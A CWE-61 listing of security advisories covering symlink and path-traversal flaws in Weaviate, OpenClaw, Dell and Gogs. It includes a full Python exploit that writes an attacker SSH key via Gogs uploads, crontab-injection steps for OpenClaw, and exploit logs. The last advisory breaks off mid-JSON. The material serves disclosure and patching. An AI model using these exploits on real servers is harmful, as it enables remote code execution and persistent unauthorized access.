CWE-61
AllowedUNIX Symbolic Link (Symlink) Following
Abstraction: Compound · Status: Incomplete
The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
270 vulnerabilities reference this CWE, most recent first.
GHSA-7V39-2HX7-7C43
Vulnerability from github – Published: 2025-12-12 18:30 – Updated: 2025-12-18 01:07An issue was discovered in Weaviate OSS before 1.33.4. An attacker with access to insert data into the database can craft an entry name with an absolute path (e.g., /etc/...) or use parent directory traversal (../../..) to escape the restore root when a backup is restored, potentially creating or overwriting files in arbitrary locations within the application's privilege scope.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/weaviate/weaviate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.20"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/weaviate/weaviate"
},
"ranges": [
{
"events": [
{
"introduced": "1.31.0-rc.0"
},
{
"fixed": "1.31.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/weaviate/weaviate"
},
"ranges": [
{
"events": [
{
"introduced": "1.32.0-rc.0"
},
{
"fixed": "1.32.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/weaviate/weaviate"
},
"ranges": [
{
"events": [
{
"introduced": "1.33.0-rc.0"
},
{
"fixed": "1.33.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67818"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-12T20:25:25Z",
"nvd_published_at": "2025-12-12T17:15:45Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Weaviate OSS before 1.33.4. An attacker with access to insert data into the database can craft an entry name with an absolute path (e.g., /etc/...) or use parent directory traversal (../../..) to escape the restore root when a backup is restored, potentially creating or overwriting files in arbitrary locations within the application\u0027s privilege scope.",
"id": "GHSA-7v39-2hx7-7c43",
"modified": "2025-12-18T01:07:10Z",
"published": "2025-12-12T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67818"
},
{
"type": "WEB",
"url": "https://github.com/weaviate/weaviate/commit/169df2dc92bc232df62e8fab0a20db2e5371f7aa"
},
{
"type": "WEB",
"url": "https://github.com/weaviate/weaviate/commit/89c2270869e6d64f5b5276b8626c11cd816c6665"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-7v39-2hx7-7c43"
},
{
"type": "PACKAGE",
"url": "https://github.com/weaviate/weaviate"
},
{
"type": "WEB",
"url": "https://weaviate.io/blog/weaviate-security-release-november-2025"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Weaviate OSS has a Path Traversal Vulnerability via Backup ZipSlip"
}
GHSA-7XR2-Q9VF-X4R5
Vulnerability from github – Published: 2026-03-26 21:49 – Updated: 2026-04-18 00:43Summary
The patch for CVE-2026-32013 introduced symlink resolution and workspace boundary enforcement for agents.files.get and agents.files.set. However, two other handlers in the same file (agents.create and agents.update) still use raw fs.appendFile on the IDENTITY.md file without any symlink containment check. An attacker who can place a symlink in the agent workspace can hijack the IDENTITY.md path to append attacker-controlled content to arbitrary files on the system.
Details
In src/gateway/server-methods/agents.ts, the agents.create handler constructs the identity path and appends agent metadata without verifying symlinks:
// agents.create — line 283-291
const identityPath = path.join(workspaceDir, DEFAULT_IDENTITY_FILENAME);
const lines = [
"",
`- Name: ${safeName}`,
...(emoji ? [`- Emoji: ${sanitizeIdentityLine(emoji)}`] : []),
...(avatar ? [`- Avatar: ${sanitizeIdentityLine(avatar)}`] : []),
"",
];
await fs.appendFile(identityPath, lines.join("\n"), "utf-8"); // ← NO SYMLINK CHECK
The agents.update handler has the same issue at line 348-349:
// agents.update — line 348-349
const identityPath = path.join(workspace, DEFAULT_IDENTITY_FILENAME);
await fs.appendFile(identityPath, `\n- Avatar: ${sanitizeIdentityLine(avatar)}\n`, "utf-8"); // ← NO SYMLINK CHECK
fs.appendFile follows symlinks by default. If the IDENTITY.md file in the workspace is a symlink pointing to a sensitive file (e.g., /etc/crontab, ~/.bashrc, or ~/.ssh/authorized_keys), calling agents.create will append the agent identity metadata to that file.
The ensureAgentWorkspace function (called at line 274 before the append) uses exclusive-create mode (flag: 'wx') for IDENTITY.md. If a symlink already exists at that path, the EEXIST error is silently caught, and the subsequent fs.appendFile follows the symlink.
Attack flow:
1. Attacker plants symlink: workspace/IDENTITY.md → /etc/crontab
2. ensureAgentWorkspace skips creation (EEXIST from symlink)
3. fs.appendFile follows symlink → writes to /etc/crontab
4. Attacker-controlled content (name, emoji, avatar) injected into crontab → RCE
PoC
Prerequisites: Docker and Python 3 installed.
Step 1: Build and start the test environment.
cd llm-enhance/cve-finding/RCE/CVE-2026-32013-identity-appendFile-variant-exp/
docker compose up -d --build
sleep 3
Step 2: Run the exploit.
python3 poc_exploit.py
This script:
1. Plants a symlink IDENTITY.md → /etc/target-file.txt inside the agent workspace
2. Calls the agents.create API endpoint via HTTP POST
3. Verifies that the agent identity metadata was appended to /etc/target-file.txt
Step 3: Run the control experiment.
python3 control-patched_realpath.py
Step 4: Cleanup.
docker compose down
Log of Evidence
Exploit output:
=== CVE-2026-32013 Variant: Symlink Traversal via IDENTITY.md appendFile ===
[*] Planting symlink: IDENTITY.md -> /etc/target-file.txt
[*] Symlink: lrwxrwxrwx 1 root root 20 /workspaces/evil-agent/IDENTITY.md -> /etc/target-file.txt
[*] Original /etc/target-file.txt: ORIGINAL_SENSITIVE_CONTENT
[*] Calling agents.create with name='evil-agent'...
[*] API response: {'ok': True, 'agentId': 'evil-agent', 'workspace': '/workspaces/evil-agent'}
[*] /etc/target-file.txt after exploit:
ORIGINAL_SENSITIVE_CONTENT
- Name: evil-agent
- Emoji: 💀
- Avatar: evil.png
[+] SUCCESS! Symlink traversal confirmed.
[+] fs.appendFile followed IDENTITY.md symlink and wrote to /etc/target-file.txt
[+] Attacker-controlled content injected into arbitrary file.
Control output:
=== CONTROL: Patched agents.create blocks symlink traversal ===
[*] Planting symlink: IDENTITY.md -> /etc/target-file.txt
[*] Original /etc/target-file.txt: ORIGINAL_SENSITIVE_CONTENT
[*] Calling PATCHED agents.create with name='safe-agent'...
[*] API response: {'ok': False, 'error': 'symlink_traversal_blocked', 'realPath': '/etc/target-file.txt'}
[*] /etc/target-file.txt after patched call: ORIGINAL_SENSITIVE_CONTENT
[+] CONTROL PASSED: Patched endpoint detected and blocked symlink traversal.
[+] /etc/target-file.txt remains unchanged.
Impact
An attacker who can plant a symlink in the agent workspace directory can use the agents.create or agents.update gateway API to append attacker-controlled content to arbitrary files on the system. If the target file is:
/etc/crontabor user crontab → Remote Code Execution~/.bashrcor~/.profile→ Persistent code execution on login~/.ssh/authorized_keys→ Unauthorized SSH access- Application configuration files → Service disruption
The attacker-controlled content includes the agent name (arbitrary string), emoji, and avatar fields, which are only lightly sanitized (whitespace normalization via sanitizeIdentityLine).
Affected products
- Ecosystem: npm
- Package name: openclaw
- Affected versions: <= 2026.2.22
- Patched versions: None
Occurrences
| Permalink | Description |
|---|---|
| https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L283-L291 | agents.create handler uses fs.appendFile on IDENTITY.md without symlink resolution or workspace boundary check. |
| https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L348-L349 | agents.update handler uses fs.appendFile on IDENTITY.md without symlink resolution or workspace boundary check. |
| https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L274 | ensureAgentWorkspace is called before append, but its exclusive-create (wx) flag silently skips existing symlinks (EEXIST). |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2026.2.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35632"
],
"database_specific": {
"cwe_ids": [
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T21:49:25Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe patch for CVE-2026-32013 introduced symlink resolution and workspace boundary enforcement for `agents.files.get` and `agents.files.set`. However, two other handlers in the same file (`agents.create` and `agents.update`) still use raw `fs.appendFile` on the `IDENTITY.md` file **without any symlink containment check**. An attacker who can place a symlink in the agent workspace can hijack the `IDENTITY.md` path to append attacker-controlled content to arbitrary files on the system.\n\n### Details\n\nIn `src/gateway/server-methods/agents.ts`, the `agents.create` handler constructs the identity path and appends agent metadata without verifying symlinks:\n\n```typescript\n// agents.create \u2014 line 283-291\nconst identityPath = path.join(workspaceDir, DEFAULT_IDENTITY_FILENAME);\nconst lines = [\n \"\",\n `- Name: ${safeName}`,\n ...(emoji ? [`- Emoji: ${sanitizeIdentityLine(emoji)}`] : []),\n ...(avatar ? [`- Avatar: ${sanitizeIdentityLine(avatar)}`] : []),\n \"\",\n];\nawait fs.appendFile(identityPath, lines.join(\"\\n\"), \"utf-8\"); // \u2190 NO SYMLINK CHECK\n```\n\nThe `agents.update` handler has the same issue at line 348-349:\n\n```typescript\n// agents.update \u2014 line 348-349\nconst identityPath = path.join(workspace, DEFAULT_IDENTITY_FILENAME);\nawait fs.appendFile(identityPath, `\\n- Avatar: ${sanitizeIdentityLine(avatar)}\\n`, \"utf-8\"); // \u2190 NO SYMLINK CHECK\n```\n\n`fs.appendFile` follows symlinks by default. If the `IDENTITY.md` file in the workspace is a symlink pointing to a sensitive file (e.g., `/etc/crontab`, `~/.bashrc`, or `~/.ssh/authorized_keys`), calling `agents.create` will append the agent identity metadata to that file.\n\nThe `ensureAgentWorkspace` function (called at line 274 before the append) uses exclusive-create mode (`flag: \u0027wx\u0027`) for `IDENTITY.md`. If a symlink already exists at that path, the `EEXIST` error is silently caught, and the subsequent `fs.appendFile` follows the symlink.\n\n**Attack flow:**\n```\n1. Attacker plants symlink: workspace/IDENTITY.md \u2192 /etc/crontab\n2. ensureAgentWorkspace skips creation (EEXIST from symlink)\n3. fs.appendFile follows symlink \u2192 writes to /etc/crontab\n4. Attacker-controlled content (name, emoji, avatar) injected into crontab \u2192 RCE\n```\n\n### PoC\n\n**Prerequisites:** Docker and Python 3 installed.\n\n**Step 1: Build and start the test environment.**\n```bash\ncd llm-enhance/cve-finding/RCE/CVE-2026-32013-identity-appendFile-variant-exp/\ndocker compose up -d --build\nsleep 3\n```\n\n**Step 2: Run the exploit.**\n```bash\npython3 poc_exploit.py\n```\n\nThis script:\n1. Plants a symlink `IDENTITY.md \u2192 /etc/target-file.txt` inside the agent workspace\n2. Calls the `agents.create` API endpoint via HTTP POST\n3. Verifies that the agent identity metadata was appended to `/etc/target-file.txt`\n\n**Step 3: Run the control experiment.**\n```bash\npython3 control-patched_realpath.py\n```\n\n**Step 4: Cleanup.**\n```bash\ndocker compose down\n```\n\n### Log of Evidence\n\n**Exploit output:**\n```\n=== CVE-2026-32013 Variant: Symlink Traversal via IDENTITY.md appendFile ===\n[*] Planting symlink: IDENTITY.md -\u003e /etc/target-file.txt\n[*] Symlink: lrwxrwxrwx 1 root root 20 /workspaces/evil-agent/IDENTITY.md -\u003e /etc/target-file.txt\n[*] Original /etc/target-file.txt: ORIGINAL_SENSITIVE_CONTENT\n\n[*] Calling agents.create with name=\u0027evil-agent\u0027...\n[*] API response: {\u0027ok\u0027: True, \u0027agentId\u0027: \u0027evil-agent\u0027, \u0027workspace\u0027: \u0027/workspaces/evil-agent\u0027}\n\n[*] /etc/target-file.txt after exploit:\n ORIGINAL_SENSITIVE_CONTENT\n\n- Name: evil-agent\n- Emoji: \ud83d\udc80\n- Avatar: evil.png\n\n[+] SUCCESS! Symlink traversal confirmed.\n[+] fs.appendFile followed IDENTITY.md symlink and wrote to /etc/target-file.txt\n[+] Attacker-controlled content injected into arbitrary file.\n```\n\n**Control output:**\n```\n=== CONTROL: Patched agents.create blocks symlink traversal ===\n[*] Planting symlink: IDENTITY.md -\u003e /etc/target-file.txt\n[*] Original /etc/target-file.txt: ORIGINAL_SENSITIVE_CONTENT\n\n[*] Calling PATCHED agents.create with name=\u0027safe-agent\u0027...\n[*] API response: {\u0027ok\u0027: False, \u0027error\u0027: \u0027symlink_traversal_blocked\u0027, \u0027realPath\u0027: \u0027/etc/target-file.txt\u0027}\n\n[*] /etc/target-file.txt after patched call: ORIGINAL_SENSITIVE_CONTENT\n\n[+] CONTROL PASSED: Patched endpoint detected and blocked symlink traversal.\n[+] /etc/target-file.txt remains unchanged.\n```\n\n### Impact\n\nAn attacker who can plant a symlink in the agent workspace directory can use the `agents.create` or `agents.update` gateway API to **append attacker-controlled content to arbitrary files** on the system. If the target file is:\n\n- `/etc/crontab` or user crontab \u2192 **Remote Code Execution**\n- `~/.bashrc` or `~/.profile` \u2192 **Persistent code execution on login**\n- `~/.ssh/authorized_keys` \u2192 **Unauthorized SSH access**\n- Application configuration files \u2192 **Service disruption**\n\nThe attacker-controlled content includes the agent name (arbitrary string), emoji, and avatar fields, which are only lightly sanitized (whitespace normalization via `sanitizeIdentityLine`).\n\n### Affected products\n- **Ecosystem**: npm\n- **Package name**: openclaw\n- **Affected versions**: \u003c= 2026.2.22\n- **Patched versions**: None\n\n### Occurrences\n\n| Permalink | Description |\n| :--- | :--- |\n| [https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L283-L291](https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L283-L291) | `agents.create` handler uses `fs.appendFile` on `IDENTITY.md` without symlink resolution or workspace boundary check. |\n| [https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L348-L349](https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L348-L349) | `agents.update` handler uses `fs.appendFile` on `IDENTITY.md` without symlink resolution or workspace boundary check. |\n| [https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L274](https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L274) | `ensureAgentWorkspace` is called before append, but its exclusive-create (`wx`) flag silently skips existing symlinks (EEXIST). |",
"id": "GHSA-7xr2-q9vf-x4r5",
"modified": "2026-04-18T00:43:06Z",
"published": "2026-03-26T21:49:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-7xr2-q9vf-x4r5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35632"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-fgvx-58p6-gjwc"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L274"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L283-L291"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L348-L349"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-symlink-traversal-via-identity-md-appendfile-in-agents-create-update"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Symlink Traversal via IDENTITY.md appendFile in agents.create/update (Incomplete Fix for CVE-2026-32013)"
}
GHSA-86JP-9FVQ-QR9R
Vulnerability from github – Published: 2024-12-11 09:32 – Updated: 2024-12-11 09:32Dell Client Platform Firmware Update Utility contains an Improper Link Resolution vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges.
{
"affected": [],
"aliases": [
"CVE-2024-52537"
],
"database_specific": {
"cwe_ids": [
"CWE-59",
"CWE-61"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-11T08:15:05Z",
"severity": "MODERATE"
},
"details": "Dell Client Platform Firmware Update Utility contains an Improper Link Resolution vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges.",
"id": "GHSA-86jp-9fvq-qr9r",
"modified": "2024-12-11T09:32:03Z",
"published": "2024-12-11T09:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52537"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000227591/dsa-2024-351"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-89MR-XQFV-758M
Vulnerability from github – Published: 2026-06-23 17:09 – Updated: 2026-06-23 17:09Summary
(*Repository).UploadRepoFiles checks for symlinks only on the leaf of the upload target (osx.IsSymlink(targetPath)). The siblings UpdateRepoFile, DeleteRepoFile, and GetDiffPreview use hasSymlinkInPath, which lstats every component — UploadRepoFiles is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by filepath.Base on Linux, then converted to / by pathx.Clean) redirects the write through a previously-committed directory symlink. iox.CopyFile opens the destination with os.Create (no O_NOFOLLOW), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write — ~git/.ssh/authorized_keys → SSH foothold, or <repo>.git/hooks/post-receive → next-push RCE.
Windows builds are unaffected: filepath.Base treats \ as a separator (strips the multi-segment trick) and git defaults core.symlinks=false at checkout (committed mode-120000 entries become text files, not real symlinks).
Details
The asymmetric check at internal/database/repo_editor.go:601-612:
targetPath := path.Join(dirPath, upload.Name)
if osx.IsSymlink(targetPath) { // ← LEAF-ONLY
return errors.Newf("cannot overwrite symbolic link: %s", upload.Name)
}
if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }
vs. UpdateRepoFile's correct walker at internal/database/repo_editor.go:163:
if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
return errors.New("cannot update file with symbolic link in path")
}
hasSymlinkInPath (internal/database/repo_editor.go:120-131) lstats every component; osx.IsSymlink (internal/osx/osx.go:35-41) is os.Lstat mode-bit on the leaf — fine inside the loop, wrong as a single call.
Multi-segment upload.Name reaches the loop because: (1) c.Req.FormFile("file") returns *multipart.FileHeader whose Filename is filepath.Base(filename) — Linux only treats / as separator, so backslashes are preserved; (2) NewUpload calls pathx.Clean (internal/pathx/pathx.go:13-16) which does strings.ReplaceAll(p, "\\", "/") — converting backslashes to forward slashes; (3) upload.Name = "evil/foo" is persisted and joined into path.Join(dirPath, upload.Name). iox.CopyFile at internal/iox/iox.go:24 uses os.Create(dst) = OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...) — no O_NOFOLLOW, kernel follows symlinks in path. Git's default core.symlinks=true on Linux materialises pushed mode-120000 trees as real symlinks at the next UpdateLocalCopyBranch.
Suggested fix
- Replace the leaf check at
repo_editor.go:606withhasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))— the same primitiveUpdateRepoFilealready uses. - Walk
opts.TreePathbefore theos.MkdirAll(dirPath, ...)at line 583 so that pre-existing symlinked components don't letMkdirAllcreate directories outside the repo. - Switch
iox.CopyFile's open toO_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW, closing the lstat→write TOCTOU at the syscall layer. - In
database.NewUpload, afterpathx.Clean, refusenamecontaining/or\outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.
PoC
Tested against gogs HEAD d7571322 on Ubuntu 24.04. Reproduces on v0.14.2 (packages renamed osx↔osutil, iox.CopyFile↔com.Copy, identical logic).
Reproduction prerequisites
- gogs ≥ 0.14.0 on Linux/macOS (
runtime.GOOS != "windows"). - Two attacker accounts on the gogs instance with write to a repo
attacker/playground(repo creators are admins of their own repos). git≥ 2.x withcore.symlinks=true(Linux/macOS default).- Python 3 stdlib only —
curl -Fdoes NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.
Why curl alone is unreliable
Bug needs two backslash bytes on the wire so Go's mime.ParseMediaType quoted-string rule (\X → X) yields a single \ in the parsed filename, which pathx.Clean then turns into /.
| Shell form | Wire bytes | Go parses to | upload.Name | Triggers? |
|---|---|---|---|---|
-F "...filename=a\b" |
a\b |
ab |
ab |
no |
-F "...filename=a\\b" (double quotes) |
a\b |
ab |
ab |
no |
-F '...filename=a\\b' (single quotes) |
a\\b |
a\b |
a/b |
yes |
The Python below removes the ambiguity.
Step 1 — plant the directory symlink
git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs link' && git push origin main
cd ..
Bare repo now contains a mode-120000 entry for hijack. Next UpdateLocalCopyBranch materialises <conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh.
Step 2 — upload + commit
Save as poc.py:
#!/usr/bin/env python3
"""PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write."""
import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie
GOGS_HOST = 'gogs.example'
USERNAME = 'attacker'
PASSWORD = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME = 'playground'
BRANCH = 'main'
PUBKEY = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'
ctx = ssl.create_default_context() # set to None for plain HTTP / port 3000
def conn():
if ctx is None:
return http.client.HTTPConnection(GOGS_HOST, 3000)
return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)
cookies = {}
def update_cookies(resp):
for hdr in resp.msg.get_all('Set-Cookie') or []:
for name, morsel in SimpleCookie(hdr).items():
cookies[name] = morsel.value
def cookie_header():
return '; '.join(f'{k}={v}' for k, v in cookies.items())
def get_csrf(html):
return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)
# 1. GET /user/login → session cookie + CSRF
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r)
csrf_token = get_csrf(r.read().decode())
# 2. Submit credentials
c = conn()
c.request('POST', '/user/login',
body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read(); update_cookies(r)
assert r.status in (302, 303), f'login failed: {r.status}'
# 3. Refresh CSRF for the logged-in session
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf_token = get_csrf(html)
# 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename.
# Wire form: filename="hijack\\authorized_keys"
boundary = '----poc-' + 'x' * 16
filename_on_wire = r'hijack\\authorized_keys' # 23 chars, 2 of them backslashes
body = (
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n'
f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
'Content-Type': f'multipart/form-data; boundary={boundary}',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token,
})
r = c.getresponse(); upload_resp = r.read().decode()
print('upload status:', r.status, 'body:', upload_resp)
uuid = json.loads(upload_resp)['uuid']
# 5. Commit the uploaded file at the repo root.
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
body=urllib.parse.urlencode({
'_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',
'commit_choice': 'direct', 'files': uuid,
}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read()
print('commit status:', r.status)
python3 poc.py
# upload status: 200 body: {"uuid":"<UUID>"}
# commit status: 302
Step 3 — confirm and use the foothold
sudo cat /home/git/.ssh/authorized_keys # operator's view
# → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop
ssh -i ~/.ssh/id_ed25519 git@gogs.example # attacker's view
# → shell as the gogs runtime UID
Server-side trace
multipart wire bytes: filename="hijack\\authorized_keys"
mime.ParseMediaType → "hijack\authorized_keys" (quoted-pair: \\ → \)
filepath.Base → "hijack\authorized_keys" (Linux: only / is a separator)
pathx.Clean → "hijack/authorized_keys" (\\ → /, then path.Clean)
UploadRepoFiles:
targetPath = <local-r>/<repoID>/hijack/authorized_keys
= /home/git/.ssh/authorized_keys (parent symlink resolved)
osx.IsSymlink(targetPath) = false (leaf doesn't exist as a symlink)
iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW (follows the parent symlink)
Other reachable targets (same primitive)
| Symlink target | Effect on next event |
|---|---|
/home/git/.ssh |
SSH key implant → shell as gogs UID |
<RepoRoot>/<owner>/<repo>.git/hooks |
Hook overwrite → arbitrary code on next push |
<RepoRoot>/<owner>/<repo>.git |
core.fsmonitor=<cmd> in config → exec on next git op |
~git/custom/conf |
Modify app.ini (SCRIPT_TYPE, INSTALL_LOCK, SECRET_KEY) on restart |
| Path of the sqlite DB file | DoS or admin-row replant |
Independent confirmation against the source
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
diff <(sed -n '160,170p' internal/database/repo_editor.go) \
<(sed -n '601,615p' internal/database/repo_editor.go)
# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)
sed -n '13,16p' internal/pathx/pathx.go
# Confirm: pathx.Clean does ReplaceAll("\\", "/")
Impact
- Authenticated RCE as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to
~git/.ssh/authorized_keys→ ssh in. - Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by any user with
GOGS_AUTH_USER_*env populated),app.iniSECRET_KEY(forges session cookies, decrypts stored 2FA secrets and mirror credentials). - Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.
- Linux/macOS only. Windows hosts are unaffected for two independent reasons (
filepath.Baseseparator handling, git'score.symlinksdefault).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52811"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T17:09:55Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Summary\n\n`(*Repository).UploadRepoFiles` checks for symlinks only on the **leaf** of the upload target (`osx.IsSymlink(targetPath)`). The siblings `UpdateRepoFile`, `DeleteRepoFile`, and `GetDiffPreview` use `hasSymlinkInPath`, which lstats every component \u2014 `UploadRepoFiles` is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by `filepath.Base` on Linux, then converted to `/` by `pathx.Clean`) redirects the write through a previously-committed directory symlink. `iox.CopyFile` opens the destination with `os.Create` (no `O_NOFOLLOW`), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write \u2014 `~git/.ssh/authorized_keys` \u2192 SSH foothold, or `\u003crepo\u003e.git/hooks/post-receive` \u2192 next-push RCE.\n\nWindows builds are unaffected: `filepath.Base` treats `\\` as a separator (strips the multi-segment trick) and git defaults `core.symlinks=false` at checkout (committed mode-120000 entries become text files, not real symlinks).\nDetails\n\nThe asymmetric check at `internal/database/repo_editor.go:601-612`:\n\n```go\ntargetPath := path.Join(dirPath, upload.Name)\nif osx.IsSymlink(targetPath) { // \u2190 LEAF-ONLY\n return errors.Newf(\"cannot overwrite symbolic link: %s\", upload.Name)\n}\nif err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }\n```\n\nvs. `UpdateRepoFile`\u0027s correct walker at `internal/database/repo_editor.go:163`:\n\n```go\nif hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {\n return errors.New(\"cannot update file with symbolic link in path\")\n}\n```\n\n`hasSymlinkInPath` (`internal/database/repo_editor.go:120-131`) lstats every component; `osx.IsSymlink` (`internal/osx/osx.go:35-41`) is `os.Lstat` mode-bit on the leaf \u2014 fine inside the loop, wrong as a single call.\n\nMulti-segment `upload.Name` reaches the loop because: (1) `c.Req.FormFile(\"file\")` returns `*multipart.FileHeader` whose `Filename` is `filepath.Base(filename)` \u2014 Linux only treats `/` as separator, so backslashes are preserved; (2) `NewUpload` calls `pathx.Clean` (`internal/pathx/pathx.go:13-16`) which does `strings.ReplaceAll(p, \"\\\\\", \"/\")` \u2014 converting backslashes to forward slashes; (3) `upload.Name = \"evil/foo\"` is persisted and joined into `path.Join(dirPath, upload.Name)`. `iox.CopyFile` at `internal/iox/iox.go:24` uses `os.Create(dst)` = `OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...)` \u2014 no `O_NOFOLLOW`, kernel follows symlinks in path. Git\u0027s default `core.symlinks=true` on Linux materialises pushed 